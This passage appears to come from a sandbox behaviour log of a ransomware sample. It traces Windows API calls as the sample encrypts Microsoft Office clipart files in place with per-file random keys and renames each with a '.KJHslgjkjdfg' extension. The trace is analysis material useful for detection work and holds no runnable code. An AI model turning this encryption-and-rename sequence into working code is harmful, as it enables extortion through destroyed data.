hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x138c, lpOverlapped=0x0) returned 1 [0201.338] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0201.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.339] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0201.339] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.339] SetEndOfFile (hFile=0x130) returned 1 [0201.341] GetProcessHeap () returned 0x2ef0000 [0201.341] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.341] GetProcessHeap () returned 0x2ef0000 [0201.341] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.341] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.kjhslgjkjdfg")) returned 1 [0201.343] CloseHandle (hObject=0x130) returned 1 [0201.343] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0201.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.344] GetProcessHeap () returned 0x2ef0000 [0201.344] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.344] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.344] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.346] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.346] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.346] GetProcessHeap () returned 0x2ef0000 [0201.346] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.346] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.346] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.346] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.347] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.347] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.347] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.347] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.347] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.347] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12b4, lpOverlapped=0x0) returned 1 [0201.348] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0) returned 1 [0201.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.348] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12c0, lpOverlapped=0x0) returned 1 [0201.348] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.348] SetEndOfFile (hFile=0x130) returned 1 [0201.349] GetProcessHeap () returned 0x2ef0000 [0201.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.349] GetProcessHeap () returned 0x2ef0000 [0201.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.kjhslgjkjdfg")) returned 1 [0201.351] CloseHandle (hObject=0x130) returned 1 [0201.351] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0201.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.351] GetProcessHeap () returned 0x2ef0000 [0201.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.351] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.352] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.352] GetProcessHeap () returned 0x2ef0000 [0201.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.352] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.352] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.352] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.354] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.354] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.354] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.354] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.354] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.355] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.355] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2020, lpOverlapped=0x0) returned 1 [0201.356] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2020, dwBufLen=0x2020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2020) returned 1 [0201.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.356] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2020, lpOverlapped=0x0) returned 1 [0201.356] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.356] SetEndOfFile (hFile=0x130) returned 1 [0201.359] GetProcessHeap () returned 0x2ef0000 [0201.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.359] GetProcessHeap () returned 0x2ef0000 [0201.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.kjhslgjkjdfg")) returned 1 [0201.360] CloseHandle (hObject=0x130) returned 1 [0201.360] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0201.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.361] GetProcessHeap () returned 0x2ef0000 [0201.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.361] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.361] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.363] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.363] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.363] GetProcessHeap () returned 0x2ef0000 [0201.363] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.363] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.364] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.364] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.364] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.364] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x126c, lpOverlapped=0x0) returned 1 [0201.368] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270, dwBufLen=0x1270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270) returned 1 [0201.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.368] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1270, lpOverlapped=0x0) returned 1 [0201.368] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.368] SetEndOfFile (hFile=0x130) returned 1 [0201.375] GetProcessHeap () returned 0x2ef0000 [0201.375] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.375] GetProcessHeap () returned 0x2ef0000 [0201.375] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.kjhslgjkjdfg")) returned 1 [0201.377] CloseHandle (hObject=0x130) returned 1 [0201.377] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0201.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.379] GetProcessHeap () returned 0x2ef0000 [0201.379] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.379] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.380] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0201.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.382] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.382] GetProcessHeap () returned 0x2ef0000 [0201.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.382] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.382] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.382] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.382] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.382] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.383] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.383] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.383] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.383] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4146, lpOverlapped=0x0) returned 1 [0201.384] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4150, dwBufLen=0x4150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4150) returned 1 [0201.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.384] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4150, lpOverlapped=0x0) returned 1 [0201.385] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.385] SetEndOfFile (hFile=0x130) returned 1 [0201.387] GetProcessHeap () returned 0x2ef0000 [0201.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 